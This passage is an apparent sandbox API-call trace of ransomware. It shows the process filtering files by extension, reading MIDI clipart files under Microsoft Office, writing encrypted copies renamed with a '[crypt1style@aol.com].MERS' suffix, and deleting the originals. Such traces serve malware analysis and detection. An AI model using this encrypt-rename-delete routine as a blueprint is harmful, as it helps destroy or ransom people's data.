lstrlenW (lpString=".zip") returned 4 [0262.203] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.203] lstrlenW (lpString=".rar") returned 4 [0262.203] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.203] lstrlenW (lpString=".bz2") returned 4 [0262.203] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.203] lstrlenW (lpString=".7z") returned 3 [0262.203] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.203] lstrlenW (lpString=".dbf") returned 4 [0262.203] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.204] lstrlenW (lpString=".1cd") returned 4 [0262.204] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.204] lstrlenW (lpString=".jpg") returned 4 [0262.204] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.204] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0262.204] lstrlenW (lpString="INDST_01.MID") returned 12 [0262.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0262.210] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=8568) returned 1 [0262.210] CloseHandle (hObject=0x3ac) returned 1 [0262.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0262.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0262.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0262.275] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0262.275] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0262.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0262.275] GetLastError () returned 0x0 [0262.275] ReadFile (in: hFile=0x3ac, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x2178, lpOverlapped=0x0) returned 1 [0262.320] WriteFile (in: hFile=0x3b0, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x2180, lpOverlapped=0x0) returned 1 [0262.321] ReadFile (in: hFile=0x3ac, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0262.321] WriteFile (in: hFile=0x3b0, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.321] SetEndOfFile (hFile=0x3b0) returned 1 [0262.321] CloseHandle (hObject=0x3b0) returned 1 [0262.321] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0262.321] SetEndOfFile (hFile=0x3ac) returned 1 [0262.323] CloseHandle (hObject=0x3ac) returned 1 [0262.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0262.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.324] lstrlenW (lpString=".doc") returned 4 [0262.324] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.324] lstrlenW (lpString=".docx") returned 5 [0262.324] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0262.324] lstrlenW (lpString=".pdf") returned 4 [0262.324] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.324] lstrlenW (lpString=".xls") returned 4 [0262.324] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.324] lstrlenW (lpString=".xlsx") returned 5 [0262.324] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0262.324] lstrlenW (lpString=".ppt") returned 4 [0262.324] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.324] lstrlenW (lpString=".zip") returned 4 [0262.324] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.324] lstrlenW (lpString=".rar") returned 4 [0262.324] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.324] lstrlenW (lpString=".bz2") returned 4 [0262.324] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.324] lstrlenW (lpString=".7z") returned 3 [0262.324] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.325] lstrlenW (lpString=".dbf") returned 4 [0262.325] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.325] lstrlenW (lpString=".1cd") returned 4 [0262.325] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.325] lstrlenW (lpString=".jpg") returned 4 [0262.325] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.325] lstrlenW (lpString=".doc") returned 4 [0262.325] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.325] lstrlenW (lpString=".docx") returned 5 [0262.325] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0262.325] lstrlenW (lpString=".pdf") returned 4 [0262.325] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.325] lstrlenW (lpString=".xls") returned 4 [0262.325] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.325] lstrlenW (lpString=".xlsx") returned 5 [0262.325] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0262.325] lstrlenW (lpString=".ppt") returned 4 [0262.325] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.326] lstrlenW (lpString=".zip") returned 4 [0262.326] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.326] lstrlenW (lpString=".rar") returned 4 [0262.326] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.326] lstrlenW (lpString=".bz2") returned 4 [0262.326] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.326] lstrlenW (lpString=".7z") returned 3 [0262.326] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.326] lstrlenW (lpString=".dbf") returned 4 [0262.326] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.326] lstrlenW (lpString=".1cd") returned 4 [0262.326] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0262.326] lstrlenW (lpString=".jpg") returned 4 [0262.326] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.327] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0262.327] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0262.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0262.335] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=6880) returned 1 [0262.335] CloseHandle (hObject=0x398) returned 1 [0262.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0262.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0262.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0262.342] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0262.342] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0262.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0262.342] GetLastError () returned 0x0 [0262.342] ReadFile (in: hFile=0x398, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0262.374] WriteFile (in: hFile=0x360, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0262.375] ReadFile (in: hFile=0x398, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0262.375] WriteFile (in: hFile=0x360, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.375] SetEndOfFile (hFile=0x360) returned 1 [0262.784] CloseHandle (hObject=0x360) returned 1 [0262.785] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0262.785] SetEndOfFile (hFile=0x398) returned 1 [0263.508] CloseHandle (hObject=0x398) returned 1 [0263.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0263.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1 [0263.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.672] lstrlenW (lpString=".doc") returned 4 [0263.672] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0263.672] lstrlenW (lpString=".docx") returned 5 [0263.672] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0263.672] lstrlenW (lpString=".pdf") returned 4 [0263.672] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0263.672] lstrlenW (lpString=".xls") returned 4 [0263.672] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0263.672] lstrlenW (lpString=".xlsx") returned 5 [0263.672] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0263.672] lstrlenW (lpString=".ppt") returned 4 [0263.672] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0263.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.672] lstrlenW (lpString=".zip") returned 4 [0263.672] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0263.672] lstrlenW (lpString=".rar") returned 4 [0263.672] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0263.672] lstrlenW (lpString=".bz2") returned 4 [0263.672] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0263.672] lstrlenW (lpString=".7z") returned 3 [0263.672] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0263.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.672] lstrlenW (lpString=".dbf") returned 4 [0263.672] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0263.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.672] lstrlenW (lpString=".1cd") returned 4 [0263.673] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0263.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.673] lstrlenW (lpString=".jpg") returned 4 [0263.673] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0263.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.673] lstrlenW (lpString=".doc") returned 4 [0263.673] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0263.673] lstrlenW (lpString=".docx") returned 5 [0263.673] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0263.673] lstrlenW (lpString=".pdf") returned 4 [0263.673] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0263.673] lstrlenW (lpString=".xls") returned 4 [0263.673] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0263.673] lstrlenW (lpString=".xlsx") returned 5 [0263.673] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0263.673] lstrlenW (lpString=".ppt") returned 4 [0263.673] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0263.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.674] lstrlenW (lpString=".zip") returned 4 [0263.674] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0263.674] lstrlenW (lpString=".rar") returned 4 [0263.674] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0263.674] lstrlenW (lpString=".bz2") returned 4 [0263.674] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0263.674] lstrlenW (lpString=".7z") returned 3 [0263.674] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0263.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.674] lstrlenW (lpString=".dbf") returned 4 [0263.674] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0263.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.674] lstrlenW (lpString=".1cd") returned 4 [0263.674] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0263.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0263.674] lstrlenW (lpString=".jpg") returned 4 [0263.674] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0263.674] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0263.674] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0263.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.721] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=6644) returned 1 [0263.721] CloseHandle (hObject=0x39c) returned 1 [0263.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20 [0263.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0263.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0263.735] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0263.735] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0263.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.735] GetLastError () returned 0x0 [0263.736] ReadFile (in: hFile=0x2d8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x19f4, lpOverlapped=0x0) returned 1 [0263.865] WriteFile (in: hFile=0x39c, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x1a00, lpOverlapped=0x0) returned 1 [0263.865] ReadFile (in: hFile=0x2d8, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0263.866] WriteFile (in: hFile=0x39c, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.866] SetEndOfFile (hFile=0x39c) returned 1 [0264.229] CloseHandle (hObject=0x39c) returned 1 [0264.388] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0264.388] SetEndOfFile (hFile=0x2d8) returned 1 [0264.883] CloseHandle (hObject=0x2d8) returned 1 [0264.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0264.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0264.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.908] lstrlenW (lpString=".doc") returned 4 [0264.908] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0264.908] lstrlenW (lpString=".docx") returned 5 [0264.908] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0264.908] lstrlenW (lpString=".pdf") returned 4 [0264.908] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0264.908] lstrlenW (lpString=".xls") returned 4 [0264.908] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0264.908] lstrlenW (lpString=".xlsx") returned 5 [0264.908] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0264.908] lstrlenW (lpString=".ppt") returned 4 [0264.908] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0264.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.908] lstrlenW (lpString=".zip") returned 4 [0264.908] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0264.908] lstrlenW (lpString=".rar") returned 4 [0264.908] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0264.908] lstrlenW (lpString=".bz2") returned 4 [0264.908] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0264.908] lstrlenW (lpString=".7z") returned 3 [0264.908] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0264.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.909] lstrlenW (lpString=".dbf") returned 4 [0264.909] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0264.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.909] lstrlenW (lpString=".1cd") returned 4 [0264.909] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0264.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.909] lstrlenW (lpString=".jpg") returned 4 [0264.909] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0264.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.909] lstrlenW (lpString=".doc") returned 4 [0264.909] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0264.909] lstrlenW (lpString=".docx") returned 5 [0264.909] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0264.909] lstrlenW (lpString=".pdf") returned 4 [0264.909] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0264.909] lstrlenW (lpString=".xls") returned 4 [0264.909] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0264.909] lstrlenW (lpString=".xlsx") returned 5 [0264.909] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0264.909] lstrlenW (lpString=".ppt") returned 4 [0264.909] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0264.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.909] lstrlenW (lpString=".zip") returned 4 [0264.909] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0264.909] lstrlenW (lpString=".rar") returned 4 [0264.909] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0264.909] lstrlenW (lpString=".bz2") returned 4 [0264.909] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0264.909] lstrlenW (lpString=".7z") returned 3 [0264.909] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0264.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.909] lstrlenW (lpString=".dbf") returned 4 [0264.909] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0264.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0264.910] lstrlenW (lpString=".1cd") returned 4 [0264.910] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0264.910] lstrlenW (lpString="C:\\Program Files\\Microsoft 